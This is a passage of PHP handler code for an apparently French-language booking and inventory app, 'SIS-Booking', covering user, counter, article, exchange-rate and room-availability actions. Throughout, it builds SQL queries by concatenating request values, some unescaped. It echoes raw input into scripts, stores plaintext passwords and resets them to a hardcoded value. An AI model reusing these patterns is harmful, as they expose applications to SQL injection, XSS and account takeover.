$user_connected=addslashes($_SESSION['username']); $bd->exec("INSERT INTO user VALUE('".$username."','".$nom_complet."','".$mail."','".$password."','".$type_user."','".$photo."',NOW(),'".$user_connected."')"); } else { $username=addslashes($_POST['username']); $nom_complet=addslashes($_POST['nom_complet']); $type_user=addslashes($_POST['type_user']); $password=addslashes($_POST['password']); $mail=addslashes($_POST['mail']); $photo = 'assets/img/user.png';$user_connected=addslashes($_SESSION['username']); $bd->exec("INSERT INTO user VALUE('".$username."','".$nom_complet."','".$mail."','".$password."','".$type_user."','".$photo."',NOW(),'".$user_connected."')"); } ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG UTILISATEUR",text:" L' Utilisateur <?php echo $nom_complet; ?> a été enregistrée avec succès ",class_name:"color success",time:"10000"}); document.getElementById("form_user").reset(); </script> <?php } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG UTILISATEUR",text:" L' Utilisateur <?php echo $_POST['username']; ?> ou le mail <?php echo $_POST['mail']; ?> est indisponible. ",class_name:"color danger",time:"5000"}); </script> <?php } $qst=$bd->query("SELECT * FROM user "); ?> <table id="table1" class="table table-striped table-condensed table-hover table-fw-widget"> <thead> <tr> <th> N°</th> <th> UserName </th> <th> Nom Complet </th> <th> Type User </th> <th class="actions"></th> </tr> </thead> <tbody> <?php $i=0; while($rep=$qst->fetch()) { if($rep['photo']==null){$phot='assets/img/user.png';} else { $phot=$rep['photo'];} $i++; if($rep['type_user']=='admin'){ $rep['type_user']="Equipe CFNK"; }else if($rep['type_user']=='super_user'){$rep['type_user']="Super Utilisateur"; } ?> <tr class="gradeU"> <td> <?php echo $i;?></td> <td class="user-avatar"> <img src="<?php echo $phot;?>" alt=""> <?php echo $rep['username'];?> </td> <td> <?php echo $rep['nom_complet'];?> </td> <td> <?php echo $rep['mail'];?> </td> <td> <?php echo $rep['type_user'];?> </td> </tr> <?php } ?> </tbody> <tfoot> <tr> <th colspan=2> Nombre total </th> <th colspan=3> <?php echo $qst->rowCount(); ?> </th> </tr> </tfoot> </table> <?php } else if($type=="unlock_user_locked") { $username = preg_replace("#unlock#","",$_POST['username']); $bd->exec("DELETE FROM block WHERE username = '".$username."' "); ?> <script type="text/javascript"> $("#unlock<?php echo $username; ?>").html("Debloqué"); $("#unlock<?php echo $username; ?>").removeClass("unlock"); $("#unlock<?php echo $username; ?>").removeClass("btn-danger"); $("#unlock<?php echo $username; ?>").addClass(" btn-primary"); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG UTILISATEUR",text:"L'utilisateur <?php echo $username; ?> vient d'être debloqué ",class_name:"color success",time:"10000"}); </script> <?php } else if($type=="lock_user_unlocked") { $username = preg_replace("#lock#","",$_POST['username']); $bd->exec("INSERT INTO block VALUE('".$username."','','".date('Y-m-d')."')");?> <script type="text/javascript"> $("#lock<?php echo $username; ?>").html("Bloqué"); $("#lock<?php echo $username; ?>").removeClass("lock"); $("#lock<?php echo $username; ?>").removeClass("btn-danger"); $("#lock<?php echo $username; ?>").addClass(" btn-primary"); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG UTILISATEUR",text:"L'utilisateur <?php echo $username; ?> vient d'être bloqué ",class_name:"color success",time:"10000"}); </script> <?php } else if($type=="reinitialiser_pass_w") { $username = preg_replace("#reset_pw#","",$_POST['username']); $bd->exec("UPDATE utilisateur SET password = 'hopsoft12345' WHERE username = '".$username."' ");?> <script type="text/javascript"> $("#reset_pw<?php echo $username; ?>").html("réinitialisé"); $("#reset_pw<?php echo $username; ?>").removeClass("reset_pw"); $("#reset_pw<?php echo $username; ?>").removeClass("btn-success"); $("#reset_pw<?php echo $username; ?>").addClass(" btn-primary"); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG UTILISATEUR",text:"Le mot de passe du compte d'utilisateur <?php echo $username; ?> vient d'être réinitialisé ",class_name:"color success",time:"10000"}); </script> <?php } else if($type=="supprimer_user") { $username = preg_replace("#delete_user#","",$_POST['username']); $user = preg_replace("# #","_",$username); $bd->exec("DELETE FROM utilisateur WHERE username = '".$username."' ");?> <script type="text/javascript"> $("#user_line<?php echo $user; ?>").addClass("hidden"); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG UTILISATEUR",text:"L'utilisateur <?php echo $username; ?> vient d'être supprimé ",class_name:"color success",time:"10000"}); </script> <?php } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++ CONFIGURATION DES GUICHET +++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ else if($type == "save_new_guichet") { $nom_guichet=addslashes($_POST['nom_guichet']); $test=$bd->query("SELECT * FROM guichet WHERE nom_guichet = '".$nom_guichet."' "); if($test->rowCount()<1) { $bd->exec("INSERT INTO guichet VALUE(NULL,'".$nom_guichet."')"); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"La caisse ou le Guichet <?php echo $nom_guichet; ?> vient d'être eneregisté avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champr").val(''); </script> <?php } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"Un guichet au nom de <?php echo $guichet; ?> existe déjà ! S'il s’agit d'un guichet différent, spécifiez très bien svp",class_name:"color danger",time:"10000"}); </script> <?php }?> <table id="table1" class="table table-striped table-hover table-condensed table-fw-widget"> <thead> <tr> <th> </th> <th> Nom dui Guichet </th> <th> Modifier </th> <th> Affecter </th> </tr> </thead> <tbody> <?php $i=0; $qst=$bd->query("SELECT * FROM guichet ORDER BY nom_guichet"); while($rep=$qst->fetch()) { $i++; ?> <tr> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_guichet'];?> </td> <td class="text-right"> <button type="button" class="btn btn-primary edit_guichet" id="edit_guichet<?php echo $rep['code_guichet']; ?>" style="border-radius:10px;"><i class="mdi mdi-seat"></i><i class="mdi mdi-edit"></i> Modifier</button> </td> <td class="text-right"> <button type="button" class="btn btn-success affect" id="affect<?php echo $rep['code_guichet']; ?>" style="border-radius:10px;"><i class="mdi mdi-forward"></i> Affecter</button> </td> </tr><?php } ?> </tbody> <tfoot> <tr> <th colspan=2> Nombre total </th> <th colspan=2> <?php echo $qst->rowCount(); ?> </th> </tr> </tfoot> </table> <?php } else if($type=="charge_guichet_for_update") { $code_guichet = preg_replace("#edit_guichet#","",$_POST['code_guichet']); $qst=$bd->query("SELECT * FROM guichet WHERE code_guichet = ".$code_guichet." "); $rep=$qst->fetch(); ?> <script type="text/javascript"> $("#edit_caisse").removeClass("hidden"); $("#new_guichet").addClass("hidden"); $("#e_code_guichet").val("<?php echo $rep['code_guichet'];?>"); $("#e_nom_guichet").val("<?php echo $rep['nom_guichet'];?>"); </script> <?php } else if($type=="update_guichet") { $code_guichet=addslashes($_POST['code_guichet']); $nom_guichet=addslashes($_POST['nom_guichet']); $bd->exec("UPDATE guichet SET nom_guichet = '".$nom_guichet."' WHERE code_guichet = '".$code_guichet."' "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"Les modifications de la caisse ou du Guichet <?php echo $nom_guichet; ?> viennent d'être eneregistées avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champr").val(''); $("#new_c").removeClass("hidden"); $("#edit_cat").addClass("hidden"); </script> <table id="table1" class="table table-striped table-hover table-condensed table-fw-widget"> <thead> <tr> <th> </th> <th> Nom dui Guichet </th> <th> Modifier </th> <th> Affecter </th> </tr> </thead> <tbody> <?php $i=0; $qst=$bd->query("SELECT * FROM guichet ORDER BY nom_guichet"); while($rep=$qst->fetch()) { $i++; ?> <tr> <td> <?php echo $i;?> </td> <td> <?php echo $rep['nom_guichet'];?> </td> <td class="text-right"> <button type="button" class="btn btn-primary edit_guichet" id="edit_guichet<?php echo $rep['code_guichet']; ?>" style="border-radius:10px;"><i class="mdi mdi-seat"></i><i class="mdi mdi-edit"></i> Modifier</button> </td> <td class="text-right"> <button type="button" class="btn btn-success affect" id="affect<?php echo $rep['code_guichet']; ?>" style="border-radius:10px;"><i class="mdi mdi-forward"></i> Affecter</button> </td> </tr><?php } ?> </tbody> <tfoot> <tr> <th colspan=2> Nombre total </th> <th colspan=2> <?php echo $qst->rowCount(); ?> </th> </tr> </tfoot> </table> <?php } else if($type == "save_affect_user") { if(isset($_POST['code_guichet'])){ $code_guichet=addslashes($_POST['code_guichet']); $username=addslashes($_POST['username']); $act=$bd->query("SELECT * FROM guichet_user WHERE username = '".$username."' AND au = '0000-00-00' OR code_guichet = ".$code_guichet." AND au = '0000-00-00' "); if($act->rowCount()>0){ ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"Affectation non effectuée ! <br> L'utilisateur est affecté ou le guichet est occupé ! ",class_name:"color danger",time:"10000"}); </script> <?php } else { $bd->exec("INSERT INTO guichet_user VALUE(null,".$code_guichet.",'".$username."',DATE(NOW()),'0000-00-00')"); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"Affectation effectuée ! <br> L'utilisateur <b><?php echo $username; ?> </b> est affecté au guichet <?php echo $code_guichet; ?> ! ",class_name:"color success",time:"10000"}); </script> <?php } } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"Selectionnez un Guichet SVP ",class_name:"color warning",time:"10000"}); </script> <?php } } else if($type=="liberer_guichet") { $code_guichet = preg_replace("#liberer#","",$_POST['code_guichet']); $bd->exec("UPDATE guichet_user SET au = DATE(NOW()) WHERE code_guichet = ".$code_guichet." AND au = '0000-00-00' "); ?> <script type="text/javascript"> $("#liberer<?php echo $code_guichet; ?>").html("Liberé"); $("#liberer<?php echo $code_guichet; ?>").removeClass("liberer"); $("#liberer<?php echo $code_guichet; ?>").removeClass("btn-danger"); $("#liberer<?php echo $code_guichet; ?>").addClass(" btn-primary"); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"Le Guichet <?php echo $code_guichet; ?> vient d'être liberé",class_name:"color success",time:"10000"}); </script> <?php } else if($type=="affecter_guichet") { $code_guichet = preg_replace("#affect#","",$_POST['code_guichet']); ?> <script type="text/javascript"> $("#btn_affect").click(); $("#code_guichet<?php echo $code_guichet; ?>").click(); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG GUICHET",text:"Affectation au Guichet <?php echo $code_guichet; ?>. Selectionez maintenant un GUICHETIER",class_name:"color dark",time:"10000"}); </script> <?php } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++ CONFUGURATION ++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ else if($type == "save_new_article") { $designation_article=addslashes($_POST['designation_article']); $unite_mesure=addslashes($_POST['unite_mesure']); $prix_unit_detail=addslashes($_POST['prix_unit_detail']); $prix_unit_gros=addslashes($_POST['prix_unit_gros']); $prix_unit_casse=addslashes($_POST['prix_unit_casse']); $stock_securite=addslashes($_POST['stock_securite']); $code_categorie=addslashes($_POST['code_categorie']); $categ=str_pad($code_categorie,2,'0',STR_PAD_RIGHT); $test=$bd->query("SELECT * FROM article WHERE designation_article = '".$designation_article."' "); if($test->rowCount()<1) { $gene=$bd->query("SELECT (MAX(code_article)+ 1) art FROM article WHERE code_categorie = ".$code_categorie." "); $rate=$gene->fetch(); $ART=(substr($rate['art'],-5))*1; $art=str_pad($ART,4,'0',STR_PAD_LEFT); $code_article=$categ.$art; $bd->exec("INSERT INTO article VALUE('".$code_article."','".$designation_article."','".$unite_mesure."',".$prix_unit_detail.",".$prix_unit_gros.",".$prix_unit_casse.",".$stock_securite.",".$code_categorie.")"); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG ARTICLE",text:"L' article <?php echo $designation_article; ?> vient d'être eneregisté avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champ").val(''); </script> <?php } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG ARTICLE",text:"Un article avec la désignation <?php echo $designation_article; ?> existe déjà ! S'il s’agit d'un article différent , spécifiez très bien svp",class_name:"color danger",time:"10000"}); </script> <?php } } else if($type=="charge_item_for_update") { $code_article = preg_replace("#edit_itm#","",$_POST['code_article']); $qst=$bd->query("SELECT * FROM article WHERE code_article = '".$code_article."' "); $rep=$qst->fetch(); ?> <script type="text/javascript"> $("#edit_item").removeClass("hidden");$("#new_item").addClass("hidden");$("#edit_price").addClass("hidden"); $("#e_code_article").val("<?php echo $rep['code_article'];?>"); $("#e_designation_article").val("<?php echo $rep['designation_article'];?>"); $("#e_unite_mesure").val("<?php echo $rep['unite_mesure'];?>"); $("#e_stock_securite").val("<?php echo $rep['stock_securite'];?>"); $("#e_code_categorie").val("<?php echo $rep['code_categorie'];?>"); </script> <?php } else if($type=="delete_article") { $code_article = $_POST['code_article']; $qst=$bd->query("SELECT * FROM entree_stock WHERE code_article = '".$code_article."' "); if($qst->rowCount()<1){ $bd->exec("DELETE FROM article WHERE code_article = '".$code_article."' "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | SUPPRESSION ARTICLE",text:"L' article N° <?php echo $code_article; ?> vient d'être supprimé avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champ").val(); $("#edit_price").addClass("hidden"); $("#new_item").removeClass("hidden"); $("#edit_item").addClass("hidden"); </script> <?php } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | SUPPRESION ARTICLE",text:"Cet article ne peut pas etre supprimé car fugurant deja dans les operations d'approvisionnement. Merci",class_name:"color warning",time:"10000"});</script> <?php } } else if($type=="charge_item_for_price") { $code_article = preg_replace("#edit_p#","",$_POST['code_article']); $qst=$bd->query("SELECT * FROM article WHERE code_article = '".$code_article."' "); $rep=$qst->fetch(); ?> <script type="text/javascript"> $("#edit_price").removeClass("hidden"); $("#new_item").addClass("hidden"); $("#edit_item").addClass("hidden"); $("#ep_code_article").val("<?php echo $rep['code_article'];?>"); $("#ep_prix_unit_detail").val("<?php echo $rep['prix_unit_detail'];?>"); $("#ep_prix_unit_gros").val("<?php echo $rep['prix_unit_gros'];?>"); $("#ep_prix_unit_casse").val("<?php echo $rep['prix_unit_casse'];?>"); </script> <?php } else if($type=="update_article") { $code_article=addslashes($_POST['code_article']); $designation_article=addslashes($_POST['designation_article']); $unite_mesure=addslashes($_POST['unite_mesure']); $stock_securite=addslashes($_POST['stock_securite']); $code_categorie=addslashes($_POST['code_categorie']); $bd->exec("UPDATE article SET designation_article = '".$designation_article."', unite_mesure = '".$unite_mesure."', stock_securite = ".$stock_securite.", code_categorie = ".$code_categorie." WHERE code_article = '".$code_article."' "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG ARTICLE",text:"Les modifications de l' article <?php echo $designation_article; ?> viennent d'être eneregistées avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champ").val(); $("#edit_price").addClass("hidden"); $("#new_item").removeClass("hidden"); $("#edit_item").addClass("hidden"); </script> <?php } else if($type=="update_price_article") { $code_article=addslashes($_POST['code_article']); $prix_unit_detail=addslashes($_POST['prix_unit_detail']); $prix_unit_gros=addslashes($_POST['prix_unit_gros']); $prix_unit_casse=addslashes($_POST['prix_unit_casse']); $bd->exec("UPDATE article SET prix_unit_detail = ".$prix_unit_detail.", prix_unit_gros = ".$prix_unit_gros.",prix_unit_casse = ".$prix_unit_casse." WHERE code_article = '".$code_article."' "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG ARTICLE",text:"Les prix de l' article N° <?php echo $code_article; ?> viennent d'être mis à jour avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champ").val(''); $("#edit_price").addClass("hidden"); $("#new_item").removeClass("hidden"); $("#edit_item").addClass("hidden"); </script> <?php } /*------*/ else if($type == "save_new_categ_article") { $categorie=addslashes($_POST['categorie']); $type_concervation=addslashes($_POST['type_concervation']); $periode_critique=addslashes($_POST['periode_critique']); $test=$bd->query("SELECT * FROM categorie_article WHERE categorie = '".$categorie."' "); if($test->rowCount()<1) { $bd->exec("INSERT INTO categorie_article VALUE(NULL,'".$categorie."','".$type_concervation."','".$periode_critique."')"); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG CATEGORIE",text:"La categorie d'article <?php echo $categorie; ?> vient d'être eneregistée avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champr").val(''); </script> <?php } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG CATEGORIE",text:"Une categorie d'article <?php echo $categorie; ?> existe déjà ! S'il s’agit d'une categorie différent e, spécifiez très bien svp",class_name:"color danger",time:"10000"}); </script> <?php }?> <option value=""> Selectionnez une categorie </option> <?php $qst2=$bd->query("SELECT * FROM categorie_article ORDER BY categorie"); while($rep2=$qst2->fetch()){ ?> <option value="<?php echo $rep2['code_categorie']; ?>" style="color:black;"><?php echo $rep2['code_categorie']." | ".$rep2['categorie']; ?></option> <?php } ?> <option value="+++">CREER UNE CATEGORISATION</option> <?php } else if($type=="charge_c_for_update") { $code_categorie = preg_replace("#edit_c#","",$_POST['code_categorie']); $qst=$bd->query("SELECT * FROM categorie_article WHERE code_categorie = '".$code_categorie."' "); $rep=$qst->fetch(); ?> <script type="text/javascript"> $("#edit_cat").removeClass("hidden"); $("#new_c").addClass("hidden"); $("#c_code_categorie").val("<?php echo $rep['code_categorie'];?>"); $("#c_categorie").val("<?php echo $rep['categorie'];?>"); $("#c_type_concervation").val("<?php echo $rep['type_concervation'];?>"); $("#c_periode_critique").val("<?php echo $rep['periode_critique'];?>"); </script> <?php } else if($type=="update_categ_article") { $code_categorie=addslashes($_POST['code_categorie']); $categorie=addslashes($_POST['categorie']); $type_concervation=addslashes($_POST['type_concervation']); $periode_critique=addslashes($_POST['periode_critique']); $bd->exec("UPDATE categorie_article SET categorie = '".$categorie."', type_concervation = '".$type_concervation."', periode_critique = ".$periode_critique." WHERE code_categorie = '".$code_categorie."' "); ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG CATEGORIE",text:"Les modifications de la catégorie d'article <?php echo $categorie; ?> viennent d'être eneregistées avec succes ! Merci ",class_name:"color success",time:"10000"}); $(".champr").val(''); $("#new_c").removeClass("hidden"); $("#edit_cat").addClass("hidden"); </script> <?php } else if($type=="define_collect_or_no") { $code_article=$_POST['code_article']; $xy=explode("__",$code_article); $x=$xy[0]; $y=$xy[1]; $bd->exec("UPDATE emballage SET collecte = '".$x."' WHERE code_article = '".$y."' "); ?> <script type="text/javascript"> $(".c<?php echo $y;?>").removeClass('hidden'); $("#<?php echo $code_article;?>").addClass('hidden'); </script> <?php } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ *******+++++++++++++++++++++++++++++++++++++++++++++ GESTION TAUX ++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ else if($type=="save_taux_change") { $taux_change = $_POST['taux_change']; $act=$bd->query("SELECT * FROM taux WHERE taux_change = '".$taux_change."' AND au ='0000-00-00' "); if($act->rowCount()>0){ ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG TAUX DE C.",text:"Il y a donc pas de modification. Vous entrez le même montant que le taux actuel",class_name:"color dark",time:"10000"}); </script> <?php } else { $changetaux=$bd->query("SELECT * FROM taux WHERE au ='0000-00-00' "); if($changetaux->rowCount()>0) { $maj=$changetaux->fetch(); $bd->exec("UPDATE taux SET au = DATE(NOW()) "); $bd->exec("INSERT INTO taux VALUE (NULL,".$taux_change.",DATE(NOW()),'0000-00-00') "); } else { $bd->exec("INSERT INTO taux VALUE (NULL,".$taux_change.",DATE(NOW()),'0000-00-00') "); } ?> <script type="text/javascript"> $("#taux_change").val(''); $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | CONFIG TAUX DE C.",text:"Le taux de change vient d'être actualisé avec succès",class_name:"color success",time:"10000"}); </script> <?php $swali1=$bd->query("SELECT * FROM taux WHERE au = '0000-00-00'"); $jibu1=$swali1->fetch(); $taux_change=$jibu1['taux_change']; echo "1 USD = ". $taux_change." CDF"; } } /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++ GESTION POINT DE VENTE ++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ } else if(!isset($_SESSION['username'])) { $data['file'] = $_FILES; $data['text'] = $_POST; $obj = $data['text']; $_POST = (array)($obj); if(isset($_POST['type'])){ $type = $_POST['type'];} else{$type="";} if($type=="check_avalibility") { $source = addslashes($_POST['source']); $weekend = addslashes($_POST['weekend']); $code_local = addslashes($_POST['code_local']); $date_from = addslashes($_POST['date_from']); $date_to = addslashes($_POST['date_to']); $selected_rooms = addslashes($_POST['selected_rooms']); $hour_from = addslashes($_POST['hour_from'].":00:00"); $hour_to = addslashes($_POST['hour_to'].":00:00"); $rsrv=$bd->query("SELECT *, DATE_FORMAT(date_from,'%d-%m-%Y') date_from,DATE_FORMAT(date_to,'%d-%m-%Y') date_to FROM booking B INNER JOIN local L ON B.code_local = L.code_local WHERE B.code_local = ".$code_local." AND date_from BETWEEN '".$date_from."' AND '".$date_to."' AND hour_from BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$code_local." AND date_to BETWEEN '".$date_from."' AND '".$date_to."' AND hour_to BETWEEN '".$hour_from."' AND '".$hour_to."' AND statut_reservation = 'VALIDEE' OR B.code_local = ".$code_local." AND '".$date_from."' BETWEEN date_from AND date_to AND '".$hour_from."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE' OR B.code_local = ".$code_local." AND '".$date_to."' BETWEEN date_from AND date_to AND '".$hour_to."' BETWEEN hour_from AND hour_to AND statut_reservation = 'VALIDEE'"); if($rsrv->rowCount()<1){ $loc=$bd->query("SELECT * FROM local L WHERE L.code_local = ".$code_local." "); $r=$loc->fetch(); $duree = ((strtotime($date_to) - strtotime($date_from))/86400)+1; $jr_ouvrable = $samedi = $dimanche = 0; while($date_from <= $date_to){ $day = date('w', strtotime($date_from)); if($day == 0){ $dimanche=$dimanche + 1; }else if($day== 6){ $samedi=$samedi + 1; }else{ $jr_ouvrable=$jr_ouvrable + 1; } $date_from = date('Y-m-d', strtotime( $date_from . " +1 days")); } if($weekend=="oui"){ $jr_ouvrable = $jr_ouvrable + $samedi + $dimanche;} if($jr_ouvrable>0 || $weekend == "oui"){ $exist='no'; $lists=explode(",",$selected_rooms); foreach($lists as &$value){if($value==$code_local){$exist='yes';} } if($exist=="no"){ $selected_rooms = $selected_rooms.",".$code_local.","; $selected_rooms = str_replace(',,',',',$selected_rooms); echo "<span class='btn btn-success'>Réponse du système</span> Systhese de votre demande : <table class='table table-bordered table-condensed' border='1px'><tr><th>Nbre jours reservés</th><th>Jours Non-ouvrable</th><th>Temps</th><th>Prix/jour</th><th>Coût reseravation</th></tr> <tr><td class='number'>".$jr_ouvrable." jour<small>(s)</small></td><td> ".$samedi." samedi<small>(s)</small> & ".$samedi." dimanche<small>(s)</small></td><td>".$hour_from." à ".$hour_to."</td><td class='number'>".$r['prix_local']." $</td><td class='number'>".$r['prix_local']*$jr_ouvrable." $</td> </table>" ;?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le local est dispo, vous pouvez poursuivre le processus de réservation en mettant vos informations et surtout en mettant une petite description sur votre activité ! Merci ",class_name:"color success",time:"10000"}); $(".info_perso").removeClass('hidden'); </script> <?php if($r['type_local']=='SIMULATION'){ ?> <script type="text/javascript"> $(".sim").removeClass('btn-primary'); $("#OUI").addClass('btn-primary'); $("#nbre_jr").val('0'); $("#salle_simulation").val('<?php echo $code_local;?>'); </script> <?php } // salle selectionées $lists=explode(",",$selected_rooms); $salle_select=""; foreach($lists as &$value){ if($value==''){ $value=0;} else { $lis=$bd->query("SELECT * FROM local WHERE code_local = ".$value." "); $l=$lis->fetch(); $salle_select = $salle_select."<span type='button' class='btn btn-default' id='li_loc_".$l['code_local']."'>".$l['nom_local']." <a class='btn btn-danger fa fa-close loc_' id='loc_".$l['code_local']."'> x </a></span> "; } } $lien="fonction/save.php"; if($source=="out"){ $lien="../fonction/save.php";} ?> <script type="text/javascript"> $(".selected_room").html("<?php echo $salle_select; ?>"); $("#selected_rooms").val("<?php echo $selected_rooms; ?>"); $(".loc_").click(function(e){ var compteur=this.id, rep = compteur, selected_rooms = $('#selected_rooms').val(), lien = "<?php echo $lien; ?>", source = "<?php echo $source; ?>", type ="uncharge_loc"; $('#li_'+rep).addClass("hidden");0 $.ajax({ url: lien, type: 'POST', data: {selected_rooms:selected_rooms,local:rep,source:source,type:type}, success:function(data){ $('.selected_room').html(data); $('#notification-rep').html(''); } }); }); $("#week_end").removeClass('btn-warning'); </script> <?php } else { ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le local a déjà été selectioné ! Merci ",class_name:"color warning",time:"10000"}); $("#week_end").removeClass('btn-warning');</script> <?php } } else{ echo "<span class='btn btn-warning'>Réponse du système</span> Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Etes-vous sûr de vouloir réserver le Weekend ? Marquez votre response juste au-dessus de ce message, puis reselectionez le local. Merci"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Désolé la période demandée tombe malheureusement dans les jours non-ouvrables pour nous. Si vous voullez réserver le Weekend, marquez votre response dans le formulaire puis reselectionez le local. Merci ",class_name:"color warning",time:"10000"}); </script> <?php if($selected_rooms == "" || $selected_rooms == ","){ ?><script type="text/javascript">$(".info_perso").addClass('hidden'); $("#code_local").val(''); $("#week_end").addClass('btn-warning');</script><?php } } } else { $indispo =""; while($ocp=$rsrv->fetch()){ $date_du = $ocp['date_from']; $date_au = $ocp['date_to'];$i = $ocp['code_book']; $indispo = $indispo."<tr><td>".$i."</td><td>".$date_du."</td><td>".$date_au."</td><td>".$ocp['hour_from']."</td><td>".$ocp['hour_to']."</td></tr>"; } echo "<span class='btn btn-warning'>Réponse du système</span> Le local demandé n'est pas disponible pour la periode choisie. En voici le detail <table class='table table-bordered table-condensed' border='1px'><tr><th>N°</th><th>Date debut</th><th>Date fin</th><th>Heure debut</th><th>Heure fin</th></tr>".$indispo."</table>"; ?> <script type="text/javascript"> $.extend($.gritter.options,{position:"top-left"}),$.gritter.add({title:"SIS-Booking | RESERVATION",text:"Le local n'est pas disponible durant le moment que vous demandez ! Voici le detail <table class='table table-bordered table-condensed' border='1px'><tr><th>N°</th><th>Date debut</th><th>Date fin</th><th>Heure debut</th><th>Heure fin</th></tr><?php echo $indispo; ?> </table>",class_name:"color danger",time:"10000"}); </script> <?php if($selected_rooms == "" || $selected_rooms == ","){ ?><script type="text/javascript">$(".info_perso").addClass('hidden'); $("#code_local").val(''); $("#week_end").addClass('btn-warning');</script><?php } } } else if($type=="uncharge_loc") { $code_local = str_replace("loc_",",",$_POST['local']).","; $selected_rooms = addslashes($_POST['selected_rooms']); $source = addslashes($_POST['source']); $selected_rooms = str_replace($code_local,',',$selected_rooms); $lien="fonction/save.php"; if($source=="out"){ $lien="../fonction/save.php";} // salle selectionées $lists=explode(",",$selected_rooms); $salle_select=""; foreach($lists as &$value){ if($value==''){ $value=0;} else { $lis=$bd->query("SELECT * FROM local WHERE code_local = ".$value." "); $l=$lis->fetch(); $salle_select = $salle_select."<span type='button' class='btn btn-default' id='li_loc_".$l['code_local']."'>".$l['nom_local']." <a class='btn btn-danger fa fa-close loc_' id='loc_".$l['code_local']."'> x </a></span> "; } } ?> <script type="text/javascript">$(".selected_room").html("<?php echo $salle_select; ?>"); $("#selected_rooms").val("<?php echo $selected_rooms; ?>"); $(".loc_").click(function(e){ var compteur=this.id, rep = compteur, selected_rooms = $('#selected_rooms').val(), source = "<?php echo $source; ?>", lien = "<?php echo $lien; ?>", type ="uncharge_loc"; $('#li_'+rep).addClass("hidden"); $.ajax({ url: lien, type: 'POST', data: 